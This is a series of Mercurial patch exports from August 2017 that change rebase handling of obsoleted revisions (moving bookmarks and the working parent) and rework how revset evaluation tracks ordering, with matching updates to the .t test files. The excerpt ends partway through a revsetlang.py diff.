+  $ rebasewithdag -r 'all()' -d 'map(SRC, "A:I,I:null,H:A,B:J,J:C,C:H,D:E,F:G,G:K,K:D,E:B")' <<'EOS'
+  > D G K
+  > | | |
+  > C F J
+  > | | |
+  > B E I
+  >  \| |
+  >   A H
+  > EOS
+  rebasing 4:701514e1408d "I" (I)
+  rebasing 0:426bada5c675 "A" (A)
+  rebasing 1:e7050b6e5048 "H" (H)
+  rebasing 5:26805aba1e60 "C" (C)
+  rebasing 7:cf89f86b485b "J" (J)
+  rebasing 2:112478962961 "B" (B)
+  rebasing 3:7fb047a69f22 "E" (E)
+  rebasing 8:f585351a92f8 "D" (D)
+  rebasing 10:ae41898d7875 "K" (K tip)
+  rebasing 9:711f53bbef0b "G" (G)
+  rebasing 6:64a8289d2492 "F" (F)
+  o  21: F
+  |
+  o  20: G
+  |
+  o  19: K
+  |
+  o  18: D
+  |
+  o  17: E
+  |
+  o  16: B
+  |
+  o  15: J
+  |
+  o  14: C
+  |
+  o  13: H
+  |
+  o  12: A
+  |
+  o  11: I
+  
+Resolve instability:
+
+  $ rebasewithdag <<'EOF' -r 'orphan()-obsolete()' -d 'max((successors(max(roots(ALLSRC) & ::SRC)^)-obsolete())::)'
+  >      F2
+  >      |
+  >    J E E2
+  >    | |/
+  > I2 I | E3
+  >   \| |/
+  >    H | G
+  >    | | |
+  >   B2 D F
+  >    | |/         # rebase: B -> B2
+  >    N C          # amend: E -> E2
+  >    | |          # amend: E2 -> E3
+  >    M B          # rebase: F -> F2
+  >     \|          # amend: I -> I2
+  >      A
+  > EOF
+  rebasing 16:5c432343bf59 "J" (J tip)
+  rebasing 3:26805aba1e60 "C" (C)
+  rebasing 6:f585351a92f8 "D" (D)
+  rebasing 10:ffebc37c5d0b "E3" (E3)
+  rebasing 13:fb184bcfeee8 "F2" (F2)
+  rebasing 11:dc838ab4c0da "G" (G)
+  o  22: G
+  |
+  o  21: F2
+  |
+  o  20: E3
+  |
+  o  19: D
+  |
+  o  18: C
+  |
+  o  17: J
+  |
+  o  15: I2
+  |
+  o  12: H
+  |
+  o  5: B2
+  |
+  o  4: N
+  |
+  o  2: M
+  |
+  o  0: A
+  
diff --git a/tests/test-rebase-named-branches.t b/tests/test-rebase-named-branches.t
--- a/tests/test-rebase-named-branches.t
+++ b/tests/test-rebase-named-branches.t
@@ -245,7 +245,7 @@
   @  0: 'A'
   
   $ hg rebase -s 5 -d 6
-  abort: source is ancestor of destination
+  abort: source and destination form a cycle
   [255]
 
   $ hg rebase -s 6 -d 5
diff --git a/tests/test-rebase-scenario-global.t b/tests/test-rebase-scenario-global.t
--- a/tests/test-rebase-scenario-global.t
+++ b/tests/test-rebase-scenario-global.t
@@ -264,7 +264,7 @@
 F onto G - rebase onto a descendant:
 
   $ hg rebase -s 5 -d 6
-  abort: source is ancestor of destination
+  abort: source and destination form a cycle
   [255]
 
 G onto B - merge revision with both parents not in ancestors of target:
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504054153 25200
#      Tue Aug 29 17:49:13 2017 -0700
# Node ID 06b0cc2588de71d5dbac13148bb83e30288d060a
# Parent  32528419db646040efe674232355dac6b80e27b0
rebase: remove an unnecessary adjustdest in clearrebased

`rev` being "skipped" could currently be caused by moving `rev` does not
create a new commit. In this case, `state[rev]` is already changed to `p1`,
and is a sane destination for bookmark or working parent movement. Therefore
an additional destination adjustment is unnecessary.

Differential Revision: https://phab.mercurial-scm.org/D565

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -1497,7 +1497,7 @@
     # Move bookmark of skipped nodes to destination. This cannot be handled
     # by scmutil.cleanupnodes since it will treat rev as removed (no successor)
     # and move bookmark backwards.
-    bmchanges = [(name, tonode(max(adjustdest(repo, rev, destmap, state))))
+    bmchanges = [(name, tonode(state[rev]))
                  for rev in skipped
                  for name in repo.nodebookmarks(tonode(rev))]
     if bmchanges:
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503827267 25200
#      Sun Aug 27 02:47:47 2017 -0700
# Node ID 9422107a6b640c8ab7b0d4648adcc10941b597d7
# Parent  06b0cc2588de71d5dbac13148bb83e30288d060a
rebase: move working parent and bookmark for obsoleted revs (BC)

Previously, obsoleted revs with successors in destination are completely
ignored. That caused some inconvenience when working copy is obsoleted. Most
commands avoid working copy being obsoleted, but `hg pull` is an exception.

This patch makes rebase able to move bookmarks or working parent for those
obsoleted revs. It does so by keeping the obsoleted revs in `state` and
marking them as "skipped, rebased to desired destination" during run-time.

This reverts part of the behavior change of 3b7cb3d17137 and D24.

Differential Revision: https://phab.mercurial-scm.org/D527

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -327,11 +327,7 @@
                   " unrebased descendants"),
                 hint=_('use --keep to keep original changesets'))
 
-        obsrevs = _filterobsoleterevs(self.repo, rebaseset)
-        self._handleskippingobsolete(obsrevs, destmap)
-
-        result = buildstate(self.repo, destmap, self.collapsef,
-                            self.obsoletenotrebased)
+        result = buildstate(self.repo, destmap, self.collapsef)
 
         if not result:
             # Empty state built, nothing to rebase
@@ -375,6 +371,10 @@
                         raise error.Abort(_('cannot collapse multiple named '
                             'branches'))
 
+        # Calculate self.obsoletenotrebased
+        obsrevs = _filterobsoleterevs(self.repo, self.state)
+        self._handleskippingobsolete(obsrevs, self.destmap)
+
         # Keep track of the active bookmarks in order to reset them later
         self.activebookmark = self.activebookmark or repo._activebookmark
         if self.activebookmark:
@@ -401,13 +401,34 @@
             desc = _ctxdesc(ctx)
             if self.state[rev] == rev:
                 ui.status(_('already rebased %s\n') % desc)
+            elif rev in self.obsoletenotrebased:
+                succ = self.obsoletenotrebased[rev]
+                if succ is None:
+                    msg = _('note: not rebasing %s, it has no '
+                            'successor\n') % desc
+                else:
+                    succctx = repo[succ]
+                    succdesc = '%d:%s "%s"' % (
+                        succctx.rev(), succctx,
+                        succctx.description().split('\n', 1)[0])
+                    msg = (_('note: not rebasing %s, already in '
+                             'destination as %s\n') % (desc, succdesc))
+                repo.ui.status(msg)
+                # Make clearrebased aware state[rev] is not a true successor
+                self.skipped.add(rev)
+                # Record rev as moved to its desired destination in self.state.
+                # This helps bookmark and working parent movement.
+                dest = max(adjustdest(repo, rev, self.destmap, self.state,
+                                      self.skipped))
+                self.state[rev] = dest
             elif self.state[rev] == revtodo:
                 pos += 1
                 ui.status(_('rebasing %s\n') % desc)
                 ui.progress(_("rebasing"), pos, ("%d:%s" % (rev, ctx)),
                             _('changesets'), total)
                 p1, p2, base = defineparents(repo, rev, self.destmap,
-                                             self.state)
+                                             self.state, self.skipped,
+                                             self.obsoletenotrebased)
                 self.storestatus(tr=tr)
                 storecollapsemsg(repo, self.collapsemsg)
                 if len(repo[None].parents()) == 2:
@@ -462,7 +483,8 @@
         repo, ui, opts = self.repo, self.ui, self.opts
         if self.collapsef and not self.keepopen:
             p1, p2, _base = defineparents(repo, min(self.state), self.destmap,
-                                          self.state)
+                                          self.state, self.skipped,
+                                          self.obsoletenotrebased)
             editopt = opts.get('edit')
             editform = 'rebase.collapse'
             if self.collapsemsg:
@@ -935,7 +957,7 @@
         copies.duplicatecopies(repo, rev, p1rev, skiprev=dest)
     return stats
 
-def adjustdest(repo, rev, destmap, state):
+def adjustdest(repo, rev, destmap, state, skipped):
     """adjust rebase destination given the current rebase state
 
     rev is what is being rebased. Return a list of two revs, which are the
@@ -989,7 +1011,8 @@
     """
     # pick already rebased revs with same dest from state as interesting source
     dest = destmap[rev]
-    source = [s for s, d in state.items() if d > 0 and destmap[s] == dest]
+    source = [s for s, d in state.items()
+              if d > 0 and destmap[s] == dest and s not in skipped]
 
     result = []
     for prev in repo.changelog.parentrevs(rev):
@@ -1037,7 +1060,7 @@
         if s in nodemap:
             yield nodemap[s]
 
-def defineparents(repo, rev, destmap, state):
+def defineparents(repo, rev, destmap, state, skipped, obsskipped):
     """Return new parents and optionally a merge base for rev being rebased
 
     The destination specified by "dest" cannot always be used directly because
@@ -1064,7 +1087,7 @@
     dest = destmap[rev]
     oldps = repo.changelog.parentrevs(rev) # old parents
     newps = [nullrev, nullrev] # new parents
-    dests = adjustdest(repo, rev, destmap, state) # adjusted destinations
+    dests = adjustdest(repo, rev, destmap, state, skipped)
     bases = list(oldps) # merge base candidates, initially just old parents
 
     if all(r == nullrev for r in oldps[1:]):
@@ -1191,7 +1214,8 @@
             # If those revisions are covered by rebaseset, the result is good.
             # A merge in rebaseset would be considered to cover its ancestors.
             if siderevs:
-                rebaseset = [r for r, d in state.items() if d > 0]
+                rebaseset = [r for r, d in state.items()
+                             if d > 0 and r not in obsskipped]
                 merges = [r for r in rebaseset
                           if cl.parentrevs(r)[1] != nullrev]
                 unwanted[i] = list(repo.revs('%ld - (::%ld) - %ld',
@@ -1408,7 +1432,7 @@
         srcset -= set(result)
         yield result
 
-def buildstate(repo, destmap, collapse, obsoletenotrebased):
+def buildstate(repo, destmap, collapse):
     '''Define which revisions are going to be rebased and where
 
     repo: repo
@@ -1469,23 +1493,6 @@
         # if all parents of this revision are done, then so is this revision
         if parents and all((state.get(p) == p for p in parents)):
             state[rev] = rev
-    unfi = repo.unfiltered()
-    for r in obsoletenotrebased:
-        desc = _ctxdesc(unfi[r])
-        succ = obsoletenotrebased[r]
-        if succ is None:
-            msg = _('note: not rebasing %s, it has no successor\n') % desc
-            del state[r]
-            del destmap[r]
-        else:
-            destctx = unfi[succ]
-            destdesc = '%d:%s "%s"' % (destctx.rev(), destctx,
-                                       destctx.description().split('\n', 1)[0])
-            msg = (_('note: not rebasing %s, already in destination as %s\n')
-                   % (desc, destdesc))
-            del state[r]
-            del destmap[r]
-        repo.ui.status(msg)
     return originalwd, destmap, state
 
 def clearrebased(ui, repo, destmap, state, skipped, collapsedas=None):
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -205,8 +205,8 @@
   o  0:cd010b8cd998 A
   
   $ hg rebase --source 'desc(B)' --dest 'tip' --config experimental.rebaseskipobsolete=True
+  rebasing 8:8877864f1edb "B"
   note: not rebasing 9:08483444fef9 "D", already in destination as 11:4596109a6a43 "D"
-  rebasing 8:8877864f1edb "B"
   rebasing 10:5ae4c968c6ac "C"
   $ hg debugobsolete
   42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
@@ -736,8 +736,8 @@
   $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.stabilization=all
   obsoleted 1 changesets
   $ hg rebase -d 6 -r "4::"
+  rebasing 4:ff2c4d47b71d "C"
   note: not rebasing 7:360bbaa7d3ce "O", it has no successor
-  rebasing 4:ff2c4d47b71d "C"
   rebasing 8:8d47583e023f "P" (tip)
 
 If all the changeset to be rebased are obsolete and present in the destination, we
@@ -769,10 +769,8 @@
 If a rebase is going to create divergence, it should abort
 
   $ hg log -G
-  @  11:f44da1f4954c nonrelevant
+  @  10:121d9e3bc4c6 P
   |
-  | o  10:121d9e3bc4c6 P
-  |/
   o  9:4be60e099a77 C
   |
   o  6:9c48361117de D
@@ -904,7 +902,6 @@
   |
   ~
   $ hg rebase -r ".^^ + .^ + ." -d 19
-  note: not rebasing 21:8b31da3c4919 "dummy change", already in destination as 19:601db7a18f51 "dummy change successor"
   rebasing 20:b82fb57ea638 "willconflict second version"
   merging willconflict
   warning: conflicts while merging willconflict! (edit, then use 'hg resolve --mark')
@@ -916,6 +913,7 @@
   continue: hg rebase --continue
   $ hg rebase --continue
   rebasing 20:b82fb57ea638 "willconflict second version"
+  note: not rebasing 21:8b31da3c4919 "dummy change", already in destination as 19:601db7a18f51 "dummy change successor"
   rebasing 22:7bdc8a87673d "dummy change" (tip)
   $ cd ..
 
@@ -1062,8 +1060,8 @@
   > EOF
 
   $ hg rebase -d C -b F
+  rebasing 2:b18e25de2cf5 "D" (D)
   note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
-  rebasing 2:b18e25de2cf5 "D" (D)
   rebasing 5:66f1a38021c9 "F" (F tip)
   note: rebase of 5:66f1a38021c9 created no changes to commit
   $ hg log -G
@@ -1179,8 +1177,8 @@
   > A B C  # D/D = D
   > EOS
   $ hg rebase -r B+A+D -d Z
+  rebasing 0:426bada5c675 "A" (A)
   note: not rebasing 1:fc2b737bb2e5 "B" (B), already in destination as 2:96cc3511f894 "C"
-  rebasing 0:426bada5c675 "A" (A)
   rebasing 3:b8ed089c80ad "D" (D)
 
   $ rm .hg/localtags
@@ -1226,17 +1224,46 @@
   2:1e9a3c00cbe9 b (no-eol)
   $ hg rebase -r 2 -d 3 --config experimental.stabilization.track-operation=1
   note: not rebasing 2:1e9a3c00cbe9 "b" (mybook), already in destination as 3:be1832deae9a "b"
-Check that working directory was not updated to rev 3 because rev 2 was skipped
-during the rebase operation
+Check that working directory and bookmark was updated to rev 3 although rev 2
+was skipped
   $ hg log -r .
-  2:1e9a3c00cbe9 b (no-eol)
-
-Check that bookmark was not moved to rev 3 if rev 2 was skipped during the
-rebase operation. This makes sense because if rev 2 has a successor, the
-operation generating that successor (ex. rebase) should be responsible for
-moving bookmarks. If the bookmark is on a precursor, like rev 2, that means the
-user manually moved it back. In that case we should not move it again.
+  3:be1832deae9a b (no-eol)
   $ hg bookmarks
-     mybook                    2:1e9a3c00cbe9
+     mybook                    3:be1832deae9a
   $ hg debugobsolete --rev tip
   1e9a3c00cbe90d236ac05ef61efcc5e40b7412bc be1832deae9ac531caa7438b8dcf6055a122cd8e 0 (*) {'user': 'test'} (glob)
+
+Obsoleted working parent and bookmark could be moved if an ancestor of working
+parent gets moved:
+
+  $ hg init $TESTTMP/ancestor-wd-move
+  $ cd $TESTTMP/ancestor-wd-move
+  $ hg debugdrawdag <<'EOS'
+  >  E D1  # rebase: D1 -> D2
+  >  | |
+  >  | C
+  > D2 |
+  >  | B
+  >  |/
+  >  A
+  > EOS
+  $ hg update D1 -q
+  $ hg bookmark book -i
+  $ hg rebase -r B+D1 -d E
+  rebasing 1:112478962961 "B" (B)
+  note: not rebasing 5:15ecf15e0114 "D1" (D1 tip book), already in destination as 2:0807738e0be9 "D2"
+  $ hg log -G -T '{desc} {bookmarks}'
+  @  B book
+  |
+  | x  D1
+  | |
+  o |  E
+  | |
+  | o  C
+  | |
+  o |  D2
+  | |
+  | x  B
+  |/
+  o  A
+  
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504054314 25200
#      Tue Aug 29 17:51:54 2017 -0700
# Node ID 79ab5369d55a1151eebd2910e20941ad634d2892
# Parent  9422107a6b640c8ab7b0d4648adcc10941b597d7
rebase: use _ctxdesc in one more place

This simplifies the code.

Differential Revision: https://phab.mercurial-scm.org/D566

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -407,10 +407,7 @@
                     msg = _('note: not rebasing %s, it has no '
                             'successor\n') % desc
                 else:
-                    succctx = repo[succ]
-                    succdesc = '%d:%s "%s"' % (
-                        succctx.rev(), succctx,
-                        succctx.description().split('\n', 1)[0])
+                    succdesc = _ctxdesc(repo[succ])
                     msg = (_('note: not rebasing %s, already in '
                              'destination as %s\n') % (desc, succdesc))
                 repo.ui.status(msg)
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -206,7 +206,7 @@
   
   $ hg rebase --source 'desc(B)' --dest 'tip' --config experimental.rebaseskipobsolete=True
   rebasing 8:8877864f1edb "B"
-  note: not rebasing 9:08483444fef9 "D", already in destination as 11:4596109a6a43 "D"
+  note: not rebasing 9:08483444fef9 "D", already in destination as 11:4596109a6a43 "D" (tip)
   rebasing 10:5ae4c968c6ac "C"
   $ hg debugobsolete
   42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 0 {cd010b8cd998f3981a5a8115f94f8da4ab506089} (*) {'user': 'test'} (glob)
@@ -931,7 +931,7 @@
   > EOF
 
   $ hg rebase -d B -s D
-  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B" (B)
   rebasing 4:66f1a38021c9 "F" (F tip)
   $ hg log -G
   o    5:50e9d60b99c6 F
@@ -962,7 +962,7 @@
   > EOF
 
   $ hg rebase -d B -s E
-  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B" (B)
   rebasing 4:66f1a38021c9 "F" (F tip)
   $ hg log -G
   o    5:aae1787dacee F
@@ -993,7 +993,7 @@
   > EOF
 
   $ hg rebase -d C -s D
-  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B" (B)
   rebasing 5:66f1a38021c9 "F" (F tip)
 
   $ hg log -G
@@ -1027,7 +1027,7 @@
   > EOF
 
   $ hg rebase -d C -s E
-  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B" (B)
   rebasing 5:66f1a38021c9 "F" (F tip)
   $ hg log -G
   o    6:c6ab0cc6d220 F
@@ -1061,7 +1061,7 @@
 
   $ hg rebase -d C -b F
   rebasing 2:b18e25de2cf5 "D" (D)
-  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
+  note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B" (B)
   rebasing 5:66f1a38021c9 "F" (F tip)
   note: rebase of 5:66f1a38021c9 created no changes to commit
   $ hg log -G
@@ -1095,7 +1095,7 @@
   > EOF
 
   $ hg rebase -d C -b F
-  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
+  note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B" (B)
   rebasing 3:7fb047a69f22 "E" (E)
   rebasing 5:66f1a38021c9 "F" (F tip)
   note: rebase of 5:66f1a38021c9 created no changes to commit
@@ -1129,8 +1129,8 @@
   > X Y
   > EOS
   $ hg rebase -r A+B+E -d F
-  note: not rebasing 4:a3d17304151f "A" (A), already in destination as 0:96cc3511f894 "C"
-  note: not rebasing 5:b23a2cc00842 "B" (B), already in destination as 1:058c1e1fb10a "D"
+  note: not rebasing 4:a3d17304151f "A" (A), already in destination as 0:96cc3511f894 "C" (C)
+  note: not rebasing 5:b23a2cc00842 "B" (B), already in destination as 1:058c1e1fb10a "D" (D)
   rebasing 7:dac5d11c5a7d "E" (E tip)
   abort: rebasing 7:dac5d11c5a7d will include unwanted changes from 3:59c792af609c, 5:b23a2cc00842 or 2:ba2b7fa7166d, 4:a3d17304151f
   [255]
@@ -1147,7 +1147,7 @@
   > A B C # D/D = D
   > EOS
   $ hg rebase -r A+B+D -d Z
-  note: not rebasing 0:426bada5c675 "A" (A), already in destination as 2:96cc3511f894 "C"
+  note: not rebasing 0:426bada5c675 "A" (A), already in destination as 2:96cc3511f894 "C" (C)
   rebasing 1:fc2b737bb2e5 "B" (B)
   rebasing 3:b8ed089c80ad "D" (D)
 
@@ -1178,7 +1178,7 @@
   > EOS
   $ hg rebase -r B+A+D -d Z
   rebasing 0:426bada5c675 "A" (A)
-  note: not rebasing 1:fc2b737bb2e5 "B" (B), already in destination as 2:96cc3511f894 "C"
+  note: not rebasing 1:fc2b737bb2e5 "B" (B), already in destination as 2:96cc3511f894 "C" (C)
   rebasing 3:b8ed089c80ad "D" (D)
 
   $ rm .hg/localtags
@@ -1223,7 +1223,7 @@
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   2:1e9a3c00cbe9 b (no-eol)
   $ hg rebase -r 2 -d 3 --config experimental.stabilization.track-operation=1
-  note: not rebasing 2:1e9a3c00cbe9 "b" (mybook), already in destination as 3:be1832deae9a "b"
+  note: not rebasing 2:1e9a3c00cbe9 "b" (mybook), already in destination as 3:be1832deae9a "b" (tip)
 Check that working directory and bookmark was updated to rev 3 although rev 2
 was skipped
   $ hg log -r .
@@ -1251,7 +1251,7 @@
   $ hg bookmark book -i
   $ hg rebase -r B+D1 -d E
   rebasing 1:112478962961 "B" (B)
-  note: not rebasing 5:15ecf15e0114 "D1" (D1 tip book), already in destination as 2:0807738e0be9 "D2"
+  note: not rebasing 5:15ecf15e0114 "D1" (D1 tip book), already in destination as 2:0807738e0be9 "D2" (D2)
   $ hg log -G -T '{desc} {bookmarks}'
   @  B book
   |
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503989087 25200
#      Mon Aug 28 23:44:47 2017 -0700
# Node ID 72b5f4d53c58bc2a1750aaa330fe9e08f8142a57
# Parent  79ab5369d55a1151eebd2910e20941ad634d2892
revset: drop optimization about reordering "or" set elements

The reordering optimization is more important for "and" than "or", given the
implementation details about "addset" and "filteredset" - reordering "or"
may help "__contains__" test but not iteration, reordering "and" could help
both. We are going to simplify the tree to remove ordering information.
Removing "or" reordering optimization would make things simpler.

This effectively reverts c63cb2d10d6d. It tracks back to the "orset"
function added by the initial commit of revset (c9ce8ecd6).

In the future, we might consider optimization at runtime (ex. do reordering
and rewrites inside "orset").

Differential Revision: https://phab.mercurial-scm.org/D561

diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -467,9 +467,6 @@
         flushss()
         if len(ts) == 1:
             return ws[0], ts[0] # 'or' operation is fully optimized out
-        if order != defineorder:
-            # reorder by weight only when f(a + b) == f(b + a)
-            ts = [wt[1] for wt in sorted(zip(ws, ts), key=lambda wt: wt[0])]
         return max(ws), (op, ('list',) + tuple(ts), order)
     elif op == 'not':
         # Optimize not public() to _notpublic() because we have a fast version
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -2076,19 +2076,19 @@
       define)
     (or
       (list
-        ('symbol', '2')
         (range
           ('symbol', '0')
           ('symbol', '1')
-          follow))
+          follow)
+        ('symbol', '2'))
       follow)
     define)
   * set:
   <filteredset
     <spanset- 0:3>,
     <addset
-      <baseset [2]>,
-      <spanset+ 0:2>>>
+      <spanset+ 0:2>,
+      <baseset [2]>>>
   2
   1
   0
@@ -2569,69 +2569,6 @@
   1
   0
 
- 'A + B' can be rewritten to 'B + A' by weight only when the order doesn't
- matter (e.g. 'X & (A + B)' can be 'X & (B + A)', but '(A + B) & X' can't):
-
-  $ try -p optimized '0:2 & (reverse(contains("a")) + 2)'
-  * optimized:
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2')
-      define)
-    (or
-      (list
-        ('symbol', '2')
-        (func
-          ('symbol', 'reverse')
-          (func
-            ('symbol', 'contains')
-            ('string', 'a')
-            define)
-          follow))
-      follow)
-    define)
-  * set:
-  <filteredset
-    <spanset+ 0:3>,
-    <addset
-      <baseset [2]>,
-      <filteredset
-        <fullreposet+ 0:10>,
-        <contains 'a'>>>>
-  0
-  1
-  2
-
-  $ try -p optimized '(reverse(contains("a")) + 2) & 0:2'
-  * optimized:
-  (and
-    (range
-      ('symbol', '0')
-      ('symbol', '2')
-      follow)
-    (or
-      (list
-        (func
-          ('symbol', 'reverse')
-          (func
-            ('symbol', 'contains')
-            ('string', 'a')
-            define)
-          define)
-        ('symbol', '2'))
-      define)
-    define)
-  * set:
-  <addset
-    <filteredset
-      <spanset- 0:3>,
-      <contains 'a'>>,
-    <baseset [2]>>
-  1
-  0
-  2
-
 test sort revset
 --------------------------------------------
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503251711 25200
#      Sun Aug 20 10:55:11 2017 -0700
# Node ID 1b28525e66982a50c33a7163228afdc785e8ca58
# Parent  72b5f4d53c58bc2a1750aaa330fe9e08f8142a57
revset: remove order information from tree (API)

Keeping `order` in tree makes AST operation harder. And there could be
invalid cases if trees could be generated and compounded freely, like:

  SetA(order=define) & SetB(order=define)
                                  ^^^^^^ couldn't be satisfied

This patch changes the code to calculate order on the fly, during tree
traversal. Optimization of reordering `and` arguments is preserved by
introducing a new internal operation `flipand`.

.. api::

   revset.stringset() now takes 'order' as the last argument.

Differential Revision: https://phab.mercurial-scm.org/D451

diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -52,10 +52,10 @@
 
 # helpers
 
-def getset(repo, subset, x):
+def getset(repo, subset, x, order=defineorder):
     if not x:
         raise error.ParseError(_("missing argument"))
-    return methods[x[0]](repo, subset, *x[1:])
+    return methods[x[0]](repo, subset, *x[1:], order=order)
 
 def _getrevsource(repo, r):
     extra = repo[r].extra()
@@ -69,7 +69,7 @@
 
 # operator methods
 
-def stringset(repo, subset, x):
+def stringset(repo, subset, x, order):
     x = scmutil.intrev(repo[x])
     if (x in subset
         or x == node.nullrev and isinstance(subset, fullreposet)):
@@ -126,30 +126,42 @@
     return subset & xs
 
 def andset(repo, subset, x, y, order):
-    return getset(repo, getset(repo, subset, x), y)
+    if order == anyorder:
+        yorder = anyorder
+    else:
+        yorder = followorder
+    return getset(repo, getset(repo, subset, x, order), y, yorder)
+
+def flipandset(repo, subset, y, x, order):
+    # 'flipand(y, x)' is equivalent to 'and(x, y)', but faster when y is small
+    if order == anyorder:
+        yorder = anyorder
+    else:
+        yorder = followorder
+    return getset(repo, getset(repo, subset, y, yorder), x, order)
 
 def differenceset(repo, subset, x, y, order):
-    return getset(repo, subset, x) - getset(repo, subset, y)
+    return getset(repo, subset, x, order) - getset(repo, subset, y, anyorder)
 
-def _orsetlist(repo, subset, xs):
+def _orsetlist(repo, subset, xs, order):
     assert xs
     if len(xs) == 1:
-        return getset(repo, subset, xs[0])
+        return getset(repo, subset, xs[0], order)
     p = len(xs) // 2
-    a = _orsetlist(repo, subset, xs[:p])
-    b = _orsetlist(repo, subset, xs[p:])
+    a = _orsetlist(repo, subset, xs[:p], order)
+    b = _orsetlist(repo, subset, xs[p:], order)
     return a + b
 
 def orset(repo, subset, x, order):
     xs = getlist(x)
     if order == followorder:
         # slow path to take the subset order
-        return subset & _orsetlist(repo, fullreposet(repo), xs)
+        return subset & _orsetlist(repo, fullreposet(repo), xs, anyorder)
     else:
-        return _orsetlist(repo, subset, xs)
+        return _orsetlist(repo, subset, xs, order)
 
 def notset(repo, subset, x, order):
-    return subset - getset(repo, subset, x)
+    return subset - getset(repo, subset, x, anyorder)
 
 def relationset(repo, subset, x, y, order):
     raise error.ParseError(_("can't use a relation in this context"))
@@ -176,11 +188,11 @@
 def subscriptset(repo, subset, x, y, order):
     raise error.ParseError(_("can't use a subscript in this context"))
 
-def listset(repo, subset, *xs):
+def listset(repo, subset, *xs, **opts):
     raise error.ParseError(_("can't use a list in this context"),
                            hint=_('see hg help "revsets.x or y"'))
 
-def keyvaluepair(repo, subset, k, v):
+def keyvaluepair(repo, subset, k, v, order):
     raise error.ParseError(_("can't use a key-value pair in this context"))
 
 def func(repo, subset, a, b, order):
@@ -1508,8 +1520,8 @@
                     ps.add(parents[1].rev())
     return subset & ps
 
-@predicate('present(set)', safe=True)
-def present(repo, subset, x):
+@predicate('present(set)', safe=True, takeorder=True)
+def present(repo, subset, x, order):
     """An empty set, if any revision in set isn't found; otherwise,
     all revisions in set.
 
@@ -1518,7 +1530,7 @@
     to continue even in such cases.
     """
     try:
-        return getset(repo, subset, x)
+        return getset(repo, subset, x, order)
     except error.RepoLookupError:
         return baseset()
 
@@ -1718,7 +1730,7 @@
 def reverse(repo, subset, x, order):
     """Reverse order of set.
     """
-    l = getset(repo, subset, x)
+    l = getset(repo, subset, x, order)
     if order == defineorder:
         l.reverse()
     return l
@@ -1802,7 +1814,7 @@
 
     """
     s, keyflags, opts = _getsortargs(x)
-    revs = getset(repo, subset, s)
+    revs = getset(repo, subset, s, order)
 
     if not keyflags or order != defineorder:
         return revs
@@ -1988,7 +2000,7 @@
                 raise ValueError
             revs = [r]
         except ValueError:
-            revs = stringset(repo, subset, t)
+            revs = stringset(repo, subset, t, defineorder)
 
         for r in revs:
             if r in seen:
@@ -2052,6 +2064,7 @@
     "string": stringset,
     "symbol": stringset,
     "and": andset,
+    "flipand": flipandset,
     "or": orset,
     "not": notset,
     "difference": differenceset,
@@ -2113,17 +2126,17 @@
     if aliases:
         tree = revsetlang.expandaliases(tree, aliases, warn=warn)
     tree = revsetlang.foldconcat(tree)
-    tree = revsetlang.analyze(tree, order)
+    tree = revsetlang.analyze(tree)
     tree = revsetlang.optimize(tree)
     posttreebuilthook(tree, repo)
-    return makematcher(tree)
+    return makematcher(tree, order)
 
-def makematcher(tree):
+def makematcher(tree, order=defineorder):
     """Create a matcher from an evaluatable tree"""
     def mfunc(repo, subset=None):
         if subset is None:
             subset = fullreposet(repo)
-        return getset(repo, subset, tree)
+        return getset(repo, subset, tree, order)
     return mfunc
 
 def loadpredicate(ui, extname, registrarobj):
diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -258,7 +258,7 @@
         return
     return x[2]
 
-# Constants for ordering requirement, used in _analyze():
+# Constants for ordering requirement, used in getset():
 #
 # If 'define', any nested functions and operations can change the ordering of
 # the entries in the set. If 'follow', any nested functions and operations
@@ -282,26 +282,10 @@
 #
 # 'y()' can either enforce its ordering requirement or take the ordering
 # specified by 'x()' because 'not()' doesn't care the order.
